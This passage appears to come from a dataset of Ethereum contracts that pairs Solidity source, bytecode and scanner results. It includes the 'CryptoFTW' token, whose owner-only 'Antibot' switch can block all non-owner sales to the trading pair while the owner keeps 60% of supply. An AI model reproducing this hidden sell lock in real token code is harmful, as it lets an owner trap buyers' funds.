1600160a01b03811660009081526004602081815260408084206007015481516322566bcf60e21b8152938401525183923092638959af3c92602480840193829003018186803b15801561153257600080fd5b505afa158015611546573d6000803e3d6000fd5b505050506040513d602081101561155c57600080fd5b50516001600160a01b038416600090815260046020526040902060080154909150811115611625576001600160a01b03831660009081526004602052604090206008810154600f546009830154600790930154919290916201518064ffffffffff90921642039190910402816115ce57fe5b04039150808260046000866001600160a01b03166001600160a01b0316815260200190815260200160002060080154011115611625576001600160a01b038316600090815260046020526040902060080154810391505b915091565b611632612012565b6000546001600160a01b03908116911614611682576040805162461bcd60e51b815260206004820181905260248201526000805160206122e2833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600b60209081526000928352604080842090915290825290205481565b6001600160a01b031660009081526004602052604090206002810154600a820154600b830154600c90930154919390929190565b6001546001600160a01b031690565b611734612012565b6000546001600160a01b03908116911614611784576040805162461bcd60e51b815260206004820181905260248201526000805160206122e2833981519152604482015290519081900360640190fd5b61140e6120be565b600a601f919091020490565b6000546001600160a01b031690565b60095481565b600d5481565b60085464ffffffffff1681565b600460208190526000918252604090912080546001820154600283015460038401549484015460058501546006860154600787015460088801546009890154600a8a0154600b8b0154600c909b0154999b6001600160a01b039099169a97999697959694959394929364ffffffffff909216929091908d565b61184161229d565b61184961229d565b60005b60075460ff821610156119035760ff81166000908152600c60205260409020546001600160a01b031661187e57611903565b60ff81166000818152600c60205260409020546001600160a01b0316908490600481106118a757fe5b6001600160a01b03928316602091820292909201919091526009546000908152600b8252604080822060ff8616808452600c85528284205490951683529092522054908390600481106118f657fe5b602002015260010161184c565b509091565b6005818154811061191557fe5b600091825260209091200154905081565b6002546001600160a01b031690565b600681815481106114ba57fe5b600c602052600090815260409020546001600160a01b031681565b611965612012565b6000546001600160a01b039081169116146119b5576040805162461bcd60e51b815260206004820181905260248201526000805160206122e2833981519152604482015290519081900360640190fd5b61140e611d7f565b6119c5612012565b6000546001600160a01b03908116911614611a15576040805162461bcd60e51b815260206004820181905260248201526000805160206122e2833981519152604482015290519081900360640190fd5b6001600160a01b038116611a5a5760405162461bcd60e51b81526004018080602001828103825260268152602001806122bc6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600354600160a01b900460ff1615611b07576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b611b11338261214c565b611b1b3334610887565b50565b600a8054601483040190556001600160a01b038281166000908152600460205260409020600101541680611b5257506113aa565b6009546000908152600b602090815260408083206001600160a01b038516845290915281208054840190555b60075460ff82161015611d795760ff81166000908152600c60205260409020546001600160a01b0383811691161415611bb657611d79565b60ff81166000908152600c60205260409020546001600160a01b0316611c065760ff81166000908152600c6020526040902080546001600160a01b0319166001600160a01b038416179055611d79565b6009546000908152600b6020908152604080832060ff85168452600c8352818420546001600160a01b0390811685529252808320549185168352909120541115611d7157600181015b60075460ff82161015611ce35760ff81166000908152600c60205260409020546001600160a01b0384811691161415611cdb57805b60075460ff821611611cd55760ff600182018181166000908152600c6020526040808220549390941681529290922080546001600160a01b0319166001600160a01b03909216919091179055611c84565b50611ce3565b600101611c4f565b50600754600019015b8160ff168160ff161115611d405760ff60001982018181166000908152600c6020526040808220549390941681529290922080546001600160a01b0319166001600160a01b03909216919091179055611cec565b5060ff81166000908152600c6020526040902080546001600160a01b0319166001600160a01b038416179055611d79565b600101611b7e565b50505050565b6008805464ffffffffff19164264ffffffffff16179055600980546001019055600a80540460005b60075460ff82161015611ea35760ff81166000908152600c60205260409020546001600160a01b0316611dd957611ea3565b6000606460078360ff1681548110611ded57fe5b60009182526020918290209181049091015460ff601f9092166101000a900416840281611e1657fe5b60ff84166000818152600c6020818152604080842080546001600160a01b03908116865260048452828620600501805499909804988901909755600a8054899003905594909352908152915481518581529151949550909216927fdbdfa5cb8586917247fbe7178cf53555d199e091a14b06f7de5a182ece2d453a9281900390910190a250600101611da7565b5060005b60075460ff821610156113aa5760ff81166000908152600c6020526040902080546001600160a01b0319169055600101611ea7565b6001600160a01b03808316600090815260046020526040812060010154909116905b60065460ff82161015611d79576001600160a01b038216611f1e57611d79565b6001600160a01b03821660009081526004602052604090206002015460ff600183011611611fe9576000606460068360ff1681548110611f5a57fe5b60009182526020918290209181049091015460ff601f9092166101000a900416850281611f8357fe5b6001600160a01b03808616600081815260046020908152604091829020600601805496909504958601909455805185815290519495509189169390927f16e746f9be6c4b545700b04df27afb9fceabf59b94ef1c816e78a435059fabea928290030190a3505b6001600160a01b0391821660009081526004602052604090206001908101549092169101611efe565b3390565b600354600160a01b900460ff1661206b576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b6003805460ff60a01b191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6120a1612012565b604080516001600160a01b039092168252519081900360200190a1565b600354600160a01b900460ff1615612110576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6003805460ff60a01b1916600160a01b1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586120a1612012565b6001600160a01b03828116600090815260046020526040902060010154161580156121895750816001600160a01b0316816001600160a01b031614155b80156121d857506001600160a01b03811660009081526004602052604090206009015464ffffffffff161515806121d857506121c3611798565b6001600160a01b0316816001600160a01b0316145b156113aa576001600160a01b03828116600081815260046020526040808220600190810180546001600160a01b031916958716958617905584835281832060020180549091019055517f9f4d150e5193cfa9a87226111d3b60b624d97ccc056eeeac1569af1ea27bf6419190a360005b60065460ff82161015610d60576001600160a01b03821661226857610d60565b6001600160a01b039182166000908152600460205260409020600c810180546001908101909155908101549092169101612248565b6040518060800160405280600490602082028036833750919291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212209ee94e29ae6eee9cd3a2f7d9f3aa73e4adb179fabff3fb770c1cf6595288cc8764736f6c63430006080033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 9,607 |
0xc60da19cbeb2b3c785db056287a12e34301e7913 | /*
$CRYPTOFTW Token
_____ _______ _______ _______ ____ ______ _________ __
/ ____| __ \ \ / / __ \__ __/ __ \| ____|__ __\ \ / /
| | | |__) \ \_/ /| |__) | | | | | | | |__ | | \ \ /\ / /
| | | _ / \ / | ___/ | | | | | | __| | | \ \/ \/ /
| |____| | \ \ | | | | | | | |__| | | | | \ /\ /
\_____|_| \_\ |_| |_| |_| \____/|_| |_| \/ \/
We will Bring Back the BULL MARKET because crypto is here to stay whether big banks like it or not.
They can try to stop us but with our DAO we will fight for CRYPTO
https://t.me/cryptoftwofficial
*/
pragma solidity 0.8.9;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier:MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Dex Factory contract interface
interface IdexFacotry {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
// Dex Router02 contract interface
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = payable(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract CryptoFTW is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
IDexRouter public dexRouter;
address public dexPair;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address public wallet1;
bool public _antibot = true;
constructor(address _wallet1) {
_name = "CryptoFTW";
_symbol = "CRYPTOFTW";
_decimals = 18;
_totalSupply = 1000000000 * 1e18;
wallet1 = _wallet1;
_balances[owner()] = _totalSupply.mul(600).div(1e3);
_balances[wallet1] = _totalSupply.mul(400).div(1e3);
IDexRouter _dexRouter = IDexRouter(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // UniswapV2Router02
);
// Create a uniswap pair for this new token
dexPair = IdexFacotry(_dexRouter.factory()).createPair(
address(this),
_dexRouter.WETH()
);
// set the rest of the contract variables
dexRouter = _dexRouter;
emit Transfer(address(this), owner(), _totalSupply.mul(600).div(1e3));
emit Transfer(address(this), wallet1, _totalSupply.mul(400).div(1e3));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function Antibot(bool value) external onlyOwner {
_antibot = value;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"WE: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"WE: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "Sorry: transfer from the zero address");
require(recipient != address(0), "Sorry: transfer to the zero address");
require(amount > 0, "Sorry: Transfer amount must be greater than zero");
if (!_antibot && sender != owner() && recipient != owner()) {
require(recipient != dexPair, " Sorry: Antibot is not enabled");
}
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "Sorry to say but: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063a9059cbb11610071578063a9059cbb14610310578063c6e06b8a14610340578063dd62ed3e1461035c578063f242ab411461038c578063f2fde38b146103aa57610121565b806370a082311461026a578063715018a61461029a5780638da5cb5b146102a457806395d89b41146102c2578063a457c2d7146102e057610121565b80631a026c96116100f45780631a026c96146101b057806323b872dd146101ce578063313ce567146101fe578063395093511461021c57806353c9a99b1461024c57610121565b806306fdde03146101265780630758d92414610144578063095ea7b31461016257806318160ddd14610192575b600080fd5b61012e6103c6565b60405161013b91906114a6565b60405180910390f35b61014c610458565b6040516101599190611547565b60405180910390f35b61017c600480360381019061017791906115db565b61047e565b6040516101899190611636565b60405180910390f35b61019a61049c565b6040516101a79190611660565b60405180910390f35b6101b86104a6565b6040516101c5919061168a565b60405180910390f35b6101e860048036038101906101e391906116a5565b6104cc565b6040516101f59190611636565b60405180910390f35b6102066105c4565b6040516102139190611714565b60405180910390f35b610236600480360381019061023191906115db565b6105db565b6040516102439190611636565b60405180910390f35b610254610687565b6040516102619190611636565b60405180910390f35b610284600480360381019061027f919061172f565b61069a565b6040516102919190611660565b60405180910390f35b6102a26106e3565b005b6102ac610836565b6040516102b9919061168a565b60405180910390f35b6102ca61085f565b6040516102d791906114a6565b60405180910390f35b6102fa60048036038101906102f591906115db565b6108f1565b6040516103079190611636565b60405180910390f35b61032a600480360381019061032591906115db565b6109dc565b6040516103379190611636565b60405180910390f35b61035a60048036038101906103559190611788565b6109fa565b005b610376600480360381019061037191906117b5565b610aac565b6040516103839190611660565b60405180910390f35b610394610b33565b6040516103a1919061168a565b60405180910390f35b6103c460048036038101906103bf919061172f565b610b59565b005b6060600580546103d590611824565b80601f016020809104026020016040519081016040528092919081815260200182805461040190611824565b801561044e5780601f106104235761010080835404028352916020019161044e565b820191906000526020600020905b81548152906001019060200180831161043157829003601f168201915b5050505050905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061049261048b610de0565b8484610de8565b6001905092915050565b6000600854905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006104d9848484610fb3565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610524610de0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059b906118c8565b60405180910390fd5b6105b8856105b0610de0565b858403610de8565b60019150509392505050565b6000600760009054906101000a900460ff16905090565b600061067d6105e8610de0565b8484600260006105f6610de0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106789190611917565b610de8565b6001905092915050565b600960149054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106eb610de0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610778576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076f906119b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461086e90611824565b80601f016020809104026020016040519081016040528092919081815260200182805461089a90611824565b80156108e75780601f106108bc576101008083540402835291602001916108e7565b820191906000526020600020905b8154815290600101906020018083116108ca57829003601f168201915b5050505050905090565b60008060026000610900610de0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b490611a4b565b60405180910390fd5b6109d16109c8610de0565b85858403610de8565b600191505092915050565b60006109f06109e9610de0565b8484610fb3565b6001905092915050565b610a02610de0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a86906119b9565b60405180910390fd5b80600960146101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b61610de0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be5906119b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5590611add565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080831415610d2e5760009050610d90565b60008284610d3c9190611afd565b9050828482610d4b9190611b86565b14610d8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8290611c29565b60405180910390fd5b809150505b92915050565b6000610dd883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113a0565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f90611cbb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf90611d4d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fa69190611660565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101a90611ddf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611093576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108a90611e71565b60405180910390fd5b600081116110d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cd90611f03565b60405180910390fd5b600960149054906101000a900460ff1615801561112657506110f6610836565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111655750611135610836565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156111fc57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f290611f6f565b60405180910390fd5b5b611207838383611403565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561128e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128590612001565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113239190611917565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113879190611660565b60405180910390a361139a848484611408565b50505050565b600080831182906113e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113de91906114a6565b60405180910390fd5b50600083856113f69190611b86565b9050809150509392505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561144757808201518184015260208101905061142c565b83811115611456576000848401525b50505050565b6000601f19601f8301169050919050565b60006114788261140d565b6114828185611418565b9350611492818560208601611429565b61149b8161145c565b840191505092915050565b600060208201905081810360008301526114c0818461146d565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061150d611508611503846114c8565b6114e8565b6114c8565b9050919050565b600061151f826114f2565b9050919050565b600061153182611514565b9050919050565b61154181611526565b82525050565b600060208201905061155c6000830184611538565b92915050565b600080fd5b6000611572826114c8565b9050919050565b61158281611567565b811461158d57600080fd5b50565b60008135905061159f81611579565b92915050565b6000819050919050565b6115b8816115a5565b81146115c357600080fd5b50565b6000813590506115d5816115af565b92915050565b600080604083850312156115f2576115f1611562565b5b600061160085828601611590565b9250506020611611858286016115c6565b9150509250929050565b60008115159050919050565b6116308161161b565b82525050565b600060208201905061164b6000830184611627565b92915050565b61165a816115a5565b82525050565b60006020820190506116756000830184611651565b92915050565b61168481611567565b82525050565b600060208201905061169f600083018461167b565b92915050565b6000806000606084860312156116be576116bd611562565b5b60006116cc86828701611590565b93505060206116dd86828701611590565b92505060406116ee868287016115c6565b9150509250925092565b600060ff82169050919050565b61170e816116f8565b82525050565b60006020820190506117296000830184611705565b92915050565b60006020828403121561174557611744611562565b5b600061175384828501611590565b91505092915050565b6117658161161b565b811461177057600080fd5b50565b6000813590506117828161175c565b92915050565b60006020828403121561179e5761179d611562565b5b60006117ac84828501611773565b91505092915050565b600080604083850312156117cc576117cb611562565b5b60006117da85828601611590565b92505060206117eb85828601611590565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061183c57607f821691505b602082108114156118505761184f6117f5565b5b50919050565b7f57453a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b60006118b2602583611418565b91506118bd82611856565b604082019050919050565b600060208201905081810360008301526118e1816118a5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611922826115a5565b915061192d836115a5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611962576119616118e8565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119a3602083611418565b91506119ae8261196d565b602082019050919050565b600060208201905081810360008301526119d281611996565b9050919050565b7f57453a2064656372656173656420616c6c6f77616e63652062656c6f77207a6560008201527f726f000000000000000000000000000000000000000000000000000000000000602082015250565b6000611a35602283611418565b9150611a40826119d9565b604082019050919050565b60006020820190508181036000830152611a6481611a28565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ac7602683611418565b9150611ad282611a6b565b604082019050919050565b60006020820190508181036000830152611af681611aba565b9050919050565b6000611b08826115a5565b9150611b13836115a5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611b4c57611b4b6118e8565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611b91826115a5565b9150611b9c836115a5565b925082611bac57611bab611b57565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c13602183611418565b9150611c1e82611bb7565b604082019050919050565b60006020820190508181036000830152611c4281611c06565b9050919050565b7f42455032303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ca5602483611418565b9150611cb082611c49565b604082019050919050565b60006020820190508181036000830152611cd481611c98565b9050919050565b7f42455032303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d37602283611418565b9150611d4282611cdb565b604082019050919050565b60006020820190508181036000830152611d6681611d2a565b9050919050565b7f536f7272793a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611dc9602583611418565b9150611dd482611d6d565b604082019050919050565b60006020820190508181036000830152611df881611dbc565b9050919050565b7f536f7272793a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611e5b602383611418565b9150611e6682611dff565b604082019050919050565b60006020820190508181036000830152611e8a81611e4e565b9050919050565b7f536f7272793a205472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f00000000000000000000000000000000602082015250565b6000611eed603083611418565b9150611ef882611e91565b604082019050919050565b60006020820190508181036000830152611f1c81611ee0565b9050919050565b7f20536f7272793a20416e7469626f74206973206e6f7420656e61626c65640000600082015250565b6000611f59601e83611418565b9150611f6482611f23565b602082019050919050565b60006020820190508181036000830152611f8881611f4c565b9050919050565b7f536f72727920746f20736179206275743a207472616e7366657220616d6f756e60008201527f7420657863656564732062616c616e6365000000000000000000000000000000602082015250565b6000611feb603183611418565b9150611ff682611f8f565b604082019050919050565b6000602082019050818103600083015261201a81611fde565b905091905056fea264697066735822122002a44c50892f96996443c9dbac17e92141eeb895d69a80d66894e7f58c61563364736f6c63430008090033 | {"success": true, "error": null, "results": {}} | 9,608 |
0xf9704005f9e338ab9734a884657d156d7ff04677 | /**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
pragma solidity >=0.5.2 <0.6.0;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
